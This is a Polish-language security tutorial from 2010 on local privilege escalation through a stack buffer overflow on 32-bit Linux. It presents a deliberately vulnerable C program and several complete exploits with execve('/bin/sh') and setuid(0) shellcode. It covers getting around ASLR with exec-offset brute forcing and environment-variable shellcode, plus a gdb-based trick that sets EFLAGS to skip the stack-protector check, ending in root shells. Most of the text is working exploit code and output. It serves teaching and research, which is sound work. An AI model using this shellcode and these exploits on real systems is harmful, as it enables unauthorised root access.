Newsy|Artyku³y|Projekty|Dodaj newsa|Dodaj na bugtraq|Rejestracja|Archiwum|Forum
Local root buffer overflow (ASLR & SSP)

-------------------------------------------------------------------------
         LOCAL ROOT BUFFER OVERFLOW (ASLR & SSP) by t0m_k
-------------------------------------------------------------------------
        0x00 - Wstep
        0x01 - Przyklad programu z bledem
        0x02 - Exploitacja przykladu
        0x03 - ASLR
        0x04 - ASLR & ENVIRONMENT
        0x05 - SSP
        0x06 - References
-------------------------------------------------------------------------
  0x00) Wstep
-------------------------------------------------------------------------
Artykul omawia atak przepelnienia bufora na systemach Linux.
Zamieszczone przyklady, exploity byly testowane tylko i wylacznie na
systemie Ubuntu 9.04, mimo to nie powinno byc problemu z ich dzialaniem
na innych systemach Linux, jezeli nie zastosowano dodatkowych
zabezpieczen.
Do zrozumienia tresci wystarczy znajomosc podstaw asemblera, c oraz
podstawowa wiedza na temat ataku buffer overflow i zabezpieczen stosu
wykorzystanych w systemach Ubuntu.
-------------------------------------------------------------------------
  0x01) Przyklad programu z bledem
-------------------------------------------------------------------------
Z przedstawionym kodem nalezy sie dokladnie zapoznac, poniewaz bedzie
caly czas wykorzystywany w tekscie.
Program kompilujemy za pomoca polecenia:
   $ gcc vuln.c -o vuln -fno-stack-protector -mpreferred-stack-boundary=2
Nastepnie wylaczamy ASLR:
   root@xxx$ echo 0 > /proc/sys/kernel/randomize_va_space
////////////////////////////////////////////////////////////////////////
        /* vuln.c */
        #include < stdio.h >
        #include < string.h >

        int main(int argc, char *argv[]) {
                char bufor[64];
                unsigned int tmp;

                if(argc != 3)
                        return -1;

                tmp = atoi(argv[1]);
                if(tmp < 0 || tmp > 127)
                        return -1;

                strncpy(bufor, argv[2], tmp);
                puts(bufor);

                return 0;
        }
////////////////////////////////////////////////////////////////////////
Przeanalizujmy pokoleji co sie dzieje w funkcji main.
                char bufor[64];
                unsigned int tmp;
Deklaracja bufora o rozmiarze 64 bajtow oraz zmiennej tmp.
                if(argc != 3)
                        return -1;
Warunek sprawdzajacy, czy program zostal uruchomiony z 3 argumentami w
linii polecen (pierwszy to nazwa programu).
                tmp = atoi(argv[1]);
Program oczekuje podania w drugim parametrze liczby, ktora nastepnie
bedzie mogl zapisac w zmiennej tmp.
                if(tmp < 0 || tmp > 127)
                        return -1;
Widzimy, ze liczba musi byc wieksza od 0 oraz mniejsza od 128.
W przeciwnym wypadku program zakonczy dzialanie.
                strncpy(bufor, argv[2], tmp);
Funkcja kopiujaca tmp-bajtow z 3 parametru linii polecen programu do
bufora, ktory moze pomiescic jedynie 64 bajty.
Zmienna tmp moze wynosic nawet 127, czyli znacznie wiecej niz rozmiar
bufora, co daje nam mozliwosc wykonania ataku.
                puts(bufor);
Funkcja puts wypisuje na standardowe wyjscie zawartosc bufora.

Z analizy wynika, ze aby przeprowadzic udany atak na ten program, nalezy
w drugim parametrze podac liczbe odpowiedno wieksza od rozmiaru bufora, a
zarazem mniejsza od 128.
-------------------------------------------------------------------------
  0x02) Exploitacja przykladu
-------------------------------------------------------------------------
Przed rozpoczeciem pisania exploitu trzeba znalezc odpowiednia dlugosc
danych wprowadzonych w trzecim parametrze linii polecen programu.
Odpalamy program w gdb i uruchamiamy poleceniem:
  (gdb) r 120 `perl -e 'print "A"x76'`
Widac, ze program otrzymal sygnal SIGSEGV oraz ze adres powrotny main
zostal nadpisany adresem 0x41414141, czyli AAAA.
Do nadpisania adresu powrotnego funkcji main potrzebujemy 76 znakow,
czyli, 72 znaki czegokolwiek oraz 4 znaki, nadpisujace EIP.
Musimy pamietac o uwzglednieniu zmiennej tmp, ktora nie wymaga podania
okreslonej wartosci. Wystarczy, aby jej wartosc byla w przedziale 76-127.
Ponizej kod gotowego exploita, ktory po krotce omowie.
////////////////////////////////////////////////////////////////////////
        /* exp1.c */
        #include < stdio.h >
        #include < string.h >
        #include < stdlib.h >
        #include < unistd.h >

        char shellcode[] =
        "\xeb\x22\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
        "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
        "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0"
        "\x31\xdb\xb0\x01\xcd\x80\xe8\xd9\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41"
        "\x41\x41\x41\x42\x42\x42\x42";

        int main(int argc, char *argv[]) {
                char *tmp = "127";
                char bufor[76];
                long ret;

                if(argc != 2)
                        return -1;

                ret = 0xC0000000 - atoi(argv[1]);

                memset(bufor, 0x90, sizeof(bufor)-strlen(shellcode)-4);
                memcpy(bufor+sizeof(bufor)-strlen(shellcode)-4,
                shellcode, strlen(shellcode));
        
                *((long*)(&bufor[72])) = ret;

                printf("Testing: %x\n", (unsigned int)ret);

                execl("./vuln", "vuln", tmp, bufor, 0);

                return 0;
        }
////////////////////////////////////////////////////////////////////////
        char shellcode[] = "..";
Deklaracja kodu powloki, uruchamiajacego nowa powloke. Gdyby bufor byl
wiekszy mozna by dodac do kodu funkcje setreuid(0) oraz setregid(0).
        char *tmp = "127";
Parametr, ktory trzeba przekazac, aby exploitacja sie udala.
        char bufor[76];
        long ret;
Deklaracja bufora, oraz zmiennej, w ktorej zostanie zapisany adres
shellcodu na stosie.
        ret = 0xC0000000 - atoi(argv[1]);
Offset adresu powrotnego przekazujemy jako argument wywolania exploita i
odejmujemy od dna stosu, aby obliczyc rzeczywisty adres kodu powloki.
        memset(bufor, 0x90, sizeof(bufor)-strlen(shellcode)-4);
Wypelnienie wolnej czesci bufora instrukcjami NOP.
        memcpy(bufor+sizeof(bufor)-strlen(shellcode)-4,
        shellcode, strlen(shellcode));
Skopiowanie shellcodu do bufora.
        *((long*)(&bufor[72])) = ret;
Zapisanie obliczonego adresu, ktorym nadpiszemy adres powrotny main,
programu vuln.
        execl("./vuln", "vuln", tmp, bufor, 0);
Uruchomienie ofiary i przekazanie jej zmiennej tmp oraz bufora.
Odpalamy exploit:
  $ ./exp1 2910
  Testing: bffff4a2
        ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½"^1��F���F
                                   �
                                    ï¿½ï¿½ï¿½ï¿½V
   1�1Û°̀�����/binshNAAAABBBB������v�P�����������u��p�p�����u��
  $ id
  uid=1000(xxx) gid=1000(xxx) groups=4(adm),20(dialout),
  24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),
  1000(xxx)
Widzimy, ze nowa powloka zostala uruchomiona, lecz niestety nie widac
konta root'a.
Zeby zdobyc uprawnienia super uzytkownika program, ktory posiada luke
musi do niego nalezec:
  root@xxx$ chown root:root vuln
Oprocz tego musi miec ustawiony bit suid:
  root@xxx$ chmod +s vuln
Ostatnim krokiem jest zachowanie uprawnien atakowanego programu.
Mozemy to zrobic na kilka sposobow:
1) Dodanie do kodu powloki funkcji setreuid(0) oraz setregid(0)
2) Po udanym odpaleniu exploita, uruchomienie funkcji setresuid(0,0,0)
    oraz setresgid(0,0,0) i ponowne odpalenie nowej powloki;
3) Kilka innych sposobow, ktorych nie omowie w tym artykule.
Ponizszy program prezentuje uzycie 2 metody.
////////////////////////////////////////////////////////////////////////
        /* set.c */
        int main(void) {
                setresuid(0, 0, 0);
                setresgid(0, 0, 0);

                system("/bin/sh"); /* lub /bin/bash */
        
                return 0;
        }
////////////////////////////////////////////////////////////////////////
  # ./set
  # id
  uid=0(root) gid=0(root) ...

Zostala jeszcze jedna rzecz do omowienia, a mianowicie znalezienie
adresu kodu powloki na stosie oraz offsetu, ktory nalezy podac jako
parametr exploita.
Do tego celu nalezy uruchomic program vuln w gdb:
  $ gdb ./vuln
Nastepnie, szukamy funkcji strncpy w main:
  (gdb) disas main
Ustawiamy breakpoint na jej adresie:
  (gdb) b *0x0804848b
Sprawdzamy wartosc ESP i mamy adres bufora, w ktory musimy trafic.
  (gdb) x/x $esp
  0xbffff4c4:        0xbffff4d4
Exploit wyswietlal adres, ktorym nadpisywal EIP main programu vuln, wiec
trzeba jako parametr exploita podac wartosc, ktora da nam przyblizony
adres bufora.
-------------------------------------------------------------------------
  0x03) ASLR
-------------------------------------------------------------------------
Jak ktos niewie co to jest ALSR to odsylam po teorie do wikipedii.
Wlaczamy ASLR poleceniem:
  root@xxx$ echo 2 > /proc/sys/kernel/randomize_va_space
Ponizszy przyklad pokazuje jak to zabezpieczenie wyglada w praktyce.
////////////////////////////////////////////////////////////////////////
        /* prev.c */
        #include < stdio.h >

        int main(void) {
                char bufor[20];

                printf("bufor is %p\n", bufor);

                return 0;
        }
////////////////////////////////////////////////////////////////////////
Po wielokrotnym uruchomieniu programu widac, ze bufor za kazdym razem
jest pod innym adresem.
Natomiast jak pewnie nie ktorzy juz zauwazyli, tylko czesc adresu sie
zmienia. Pierwszy od lewej bajt caly czas jest taki sam, jak
rowniez ostatnie cztery bity. Piec znakow mamy zmiennych, po 16
mozliwosci na kazdy znak, wiec troche za duzo tego.
Funkcje z rodziny exec inicjuja od nowa ten sam proces na podstawie
wyznaczonego programu, wiec adresy zmiennych lokalnych programu
uruchamiajacego nowy program oraz adresy zmiennych lokalnych uruchomionej
aplikacji beda praktycznie za kazdym razem oddalone od siebie o ta sama
odleglosc.
Widac to doskonale po wielokrotnym uruchomieniu ponizszego przykladu.
////////////////////////////////////////////////////////////////////////
        /* testaslr.c */
        #include < stdio.h >
        #include < unistd.h >

        int main(int argc, char *argv[]) {
                long cos;

                printf("cos is %p\n", &cos);
                execl("./prev", "prev", 0);

                return 0;
        }
////////////////////////////////////////////////////////////////////////
Daje nam to mozliwosc dalszej exploitacji, z tym ze teraz offset
bedzie odejmowany od adresu jakiejs zmiennej lokalnej, a jako offset
bedziemy musieli podac odleglosc miedzy adresem wybranej zmiennej, a
adresem bufora, ktory zamierzamy nadpisac.
Oto gotowy exploit.
////////////////////////////////////////////////////////////////////////
        /* exp2.c */
        #include < stdio.h >
        #include < string.h >
        #include < stdlib.h >
        #include < unistd.h >

        char shellcode[] =
        "\xeb\x22\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
        "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
        "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0"
        "\x31\xdb\xb0\x01\xcd\x80\xe8\xd9\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41"
        "\x41\x41\x41\x42\x42\x42\x42";

        int main(int argc, char *argv[]) {
                char *tmp = "127";
                char bufor[76];
                unsigned int ret, i;

                if(argc != 2)
                        return -1;

                ret = (unsigned int)&i - atoi(argv[1]);

                memset(bufor, 0x90, sizeof(bufor)-strlen(shellcode)-4);
                memcpy(bufor+sizeof(bufor)-strlen(shellcode)-4,
                shellcode, strlen(shellcode));
        
                *((unsigned int*)(&bufor[72])) = ret;

                printf("Testing: %x\n", (unsigned int)ret);

                execl("./vuln", "vuln", tmp, bufor, 0);

                return 0;
        }
////////////////////////////////////////////////////////////////////////
Mozna dodatkowa napisac prosty kod wykonujacy atak brute force, co
pozwoli na odpalenie nowej powloki w kilka sekund.
////////////////////////////////////////////////////////////////////////
        /* brute.c */
        #include < stdio.h >
        #include < string.h >

        int main(void){
                unsigned short i;
                char arg[16] = "./exp2";
                arg[6] = 0x20;
                arg[11] = 0x20;

                for(i = 0; i < 300; i += 10) {
                        sprintf(arg+7, "%d", i);
                        system(arg);
                        system(arg);
                        system(arg);
                }
        }
////////////////////////////////////////////////////////////////////////
-------------------------------------------------------------------------
  0x04) ASLR & ENVIRONMENT
-------------------------------------------------------------------------
Drugim wartym uwagi sposobem radzenia sobie z losowoscia przestrzeni
adresowej, jest wykorzystanie srodowiska.
Mozemy umiescic kod powloki w zmiennej srodowiskowej, a nastepnie
nadpisac adres powrotny funkcji main, programu vuln, adresem tej zmiennej.
Do tego celu wykorzystamy funkcje putenv() oraz getenv().
Ponizszy kod umieszcza w zmiennej srodowiskowej shellcode oraz uruchamia
nowa powloke.
////////////////////////////////////////////////////////////////////////
        /* env.c */
        #include < unistd.h >

        char shellcode[] =
        "SCODE="
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90"        /* nop's */
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"          /* setuid(0) */
        "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"          /* setgid(0) */
        "\xeb\x22\x5e\x31\xc0\x88\x46\x07"
        "\x8d\x1e\x89\x5e\x08\x89\x46\x0c"
        "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
        "\x56\x0c\xcd\x80"
        "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"        /* exit(0) */
        "\xe8\xd9\xff\xff\xff\x2f\x62\x69"
        "\x6e\x2f\x73\x68\x4e\x41\x41\x41"
        "\x41\x42\x42\x42\x42";

        int main(void) {
                putenv(shellcode);

                system("/bin/bash");
        }
////////////////////////////////////////////////////////////////////////
Dodam jeszcze, ze zmienne srodowiskowe sa przechowywane na stosie.
Teraz mozemy spokojnie napisac exploit, nie martwiac sie o adres
powrotny, rozmiar bufora i przejecie uprawnien root'a.
////////////////////////////////////////////////////////////////////////
        /* exp3.c */
        #include < string.h >
        #include < stdlib.h >

        int main() {
                char *tmp = "127";
                char bufor[76];
                char *ptr;
                long ret;

                ptr = getenv("SCODE");
                ret = (long)(ptr-1);
        
                memset(bufor, 0x90, sizeof(bufor)-4);
                *((long*)(&bufor[72])) = ret;

                execl("./vuln", "vuln", tmp, bufor, 0);

                return 0;
        }
////////////////////////////////////////////////////////////////////////
Jest jeszcze kilka innych sposobow, ktore ulatwiaja walke z losowoscia
przestrzeni adresowej, miedzy innymi wykorzystanie funkcji fork(), ale
nie bede ich omawial, poniewaz jesli mialbym wszystko wyjasnic na ten
temat to tekstu bylo by wystarczjaco na napisanie ksiazki.
To by bylo na tyle, jesli chodzi o ASLR.
-------------------------------------------------------------------------
  0x05) SSP
-------------------------------------------------------------------------
Kompilujemy vuln.c poleceniem:
  $ gcc vuln.c -o vuln -mpreferred-stack-boundary=2
Wylaczamy dla ulatwienia ASLR:
  root@xxx$ echo 0 > /proc/sys/kernel/randomize_va_space
Wlaczamy program w gdb:
  $ gdb ./vuln
Nastepnie uruchamiamy, pamietajac o zmiennej tmp:
  (gdb) r 120 `perl -e 'print "A"x76'`
Wczesniej 76 znakow ladnie nadpisywalo EIP, a teraz widzimy napis
stack smashing detected, zrzut pamieci, informacje o tym, ze program
dostal sygnal SIGABRT, co spowodowalo jego zamkniecie oraz kilka innych
mniej istotnych informacji.
Disasemblujemy funkcje main, programu vuln:
  (gdb) disas main
////////////////////////////////////////////////////////////////////////
0x08048498 :        push   %ebp
0x08048499 :        mov    %esp,%ebp
0x0804849b :        sub    $0x5c,%esp
----------- ustawienie wartosci kontrolnej -----------
0x0804849e :        mov    0xc(%ebp),%eax
0x080484a1 :        mov    %eax,-0x4c(%ebp)
0x080484a4 :        mov    %gs:0x14,%eax
0x080484aa :        mov    %eax,-0x4(%ebp)
0x080484ad :        xor    %eax,%eax
--------- ustawienie wartosci kontrolnej END ---------
0x080484af :        cmpl   $0x3,0x8(%ebp)
0x080484b3 :        je     0x80484be
0x080484b5 :        movl   $0xffffffff,-0x50(%ebp)
0x080484bc :        jmp    0x8048513
0x080484be :        mov    -0x4c(%ebp),%eax
0x080484c1 :        add    $0x4,%eax
0x080484c4 :        mov    (%eax),%eax
0x080484c6 :        mov    %eax,(%esp)
0x080484c9 :        call   0x8048398
0x080484ce :        mov    %eax,-0x48(%ebp)
0x080484d1 :        cmpl   $0x80,-0x48(%ebp)
0x080484d8 :        jbe    0x80484e3
0x080484da :        movl   $0xffffffff,-0x50(%ebp)
0x080484e1 :        jmp    0x8048513
0x080484e3 :        mov    -0x4c(%ebp),%eax
0x080484e6 :        add    $0x8,%eax
0x080484e9 :        mov    (%eax),%edx
0x080484eb :        mov    -0x48(%ebp),%eax
0x080484ee :        mov    %eax,0x8(%esp)
0x080484f2 :        mov    %edx,0x4(%esp)
0x080484f6 :        lea    -0x44(%ebp),%eax
0x080484f9 :        mov    %eax,(%esp)
0x080484fc :        call   0x8048378
0x08048501 :        lea    -0x44(%ebp),%eax
0x08048504 :        mov    %eax,(%esp)
0x08048507 :        call   0x80483b8
0x0804850c :        movl   $0x0,-0x50(%ebp)
0x08048513 :        mov    -0x50(%ebp),%eax
-------- porownanie wartosci kontrolnej z EDX --------
0x08048516 :        mov    -0x4(%ebp),%edx
0x08048519 :        xor    %gs:0x14,%edx
0x08048520 :        je     0x8048527
0x08048522 :        call   0x80483a8 <__stack_chk_fail@plt>
------ porownanie wartosci kontrolnej z EDX END------
0x08048527 :        leave  
0x08048528 :        ret    
////////////////////////////////////////////////////////////////////////
Bez zaglebiania sie w kanarki(controle values), widac w
operacje xor na rzeczywistej wartosci kontrolnej i tej zapisanej na
stosie.
W jesli obie wartosci beda takie same zostanie wykonany skok
na koniec programu, a w przeciwnym wypadku zostanie wywolana funkcja
__stack_chk_fail.
Przy probie nadpisania adresu powrotnego funkcji main zostanie nadpisana
takze wartosc kontrolna, co w konsekwencji spowoduje wywolanie funkcji
__stack_chk_fail oraz zakonczenie programu z bledem, bez mozliwosci
ataku.
Instrukcja JE wykona skok, jesli flaga ZF bedzie ustawiona.
Daje nam to pewna szanse na wykonanie przepelnienia bufora, przy
wykorzystaniu debugera.
Ustawiamy breakpoint na adresie :
  (gdb) b *0x08048520
Uruchamiamy poleceniem:
  (gdb) r 120 `perl -e print "A"x76'`
  Starting program: /home/tomek/ARTEXP/v2/vuln 120
  `perl -e 'print "A"x76'` AAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

  Breakpoint 1, 0x08048520 in main ()
Zerkamy na rejestr EFLAGS:
  (gdb) i r eflags
  eflags         0x286        [ PF SF IF ]
Gdybysmy kontynuowali to na koniec dzialania programu ujrzymy nie mila
informacje, poniewaz nie jest ustawiona flaga ZF, wiec skok nie zostanie
wykonany.
Wartosc 0x286 to 1010000110b, czyli rejestr EFLAGS wyglada nastepujaco:
        _________________________________________
        | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
                     Z F
Natomiast chcemy, aby wygladal tak:
        _________________________________________
        | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 1 | 0 |
                     Z F
Przeliczamy szybko 1011000110b na hex'y i mamy wartosc 0x2C6.
Wracamy do debugera i ustawiamy EFLAGS na 0x2C6, poleceniem:
  (gdb) set $eflags=0x2C6
Kontynuujemy:
  (gdb) c
  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x41414141 in ?? ()

Ponizej, krotkie podsumowanie informacji o SSP, czyli root za pomoca
gdb.
////////////////////////////////////////////////////////////////////////
  $ gdb ./vuln
  (gdb) disas main
  ...
  0x080484fc :        call   0x8048378
  ...
  0x08048520 :        je     0x8048527
  ...
  (gdb) b *0x080484fc
  (gdb) r 120 abc
  Breakpoint 1, 0x080484fc in main ()
  (gdb) x/x $esp
  0xbffff46c:        0xbffff484
  (gdb) b *0x08048520
  (gdb) r 120 `perl -e 'print "\x90"x15,
  "\xeb\x22\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0
   \x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\x31\xdb\xb0\x01
   \xcd\x80\xe8\xd9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41
   \x41\x41\x42\x42\x42\x42
   \x84\xf4\xff\xbf"'` <- 0xbffff484

  Breakpoint 2, 0x080484fc in main ()
  (gdb) set $eflags=0x2C6
  (gdb) c
  Continuing.
  Executing new program: /bin/dash
  (no debugging symbols found)
  (no debugging symbols found)
  (no debugging symbols found)
  # ./set
  # id
  uid=0(root) gid=0(root) ...
////////////////////////////////////////////////////////////////////////
-------------------------------------------------------------------------
  0x06) References
-------------------------------------------------------------------------
http://www.phrack.org/issues.html?id=14&issue=49
http://www.packetstormsecurity.org/papers/bypass/aslr-bypass.txt
http://0xbeefc0de.org/papers/bypassing_ssp.txt <- czasami nie dostepny



Autor:t0m_k
Czytañ: 943
Data publikacji: 2010-05-08 01:53:57


Copyrights 2002 - 2009 © CC-Team.org design by fre3ke. Hosted by Net1.pl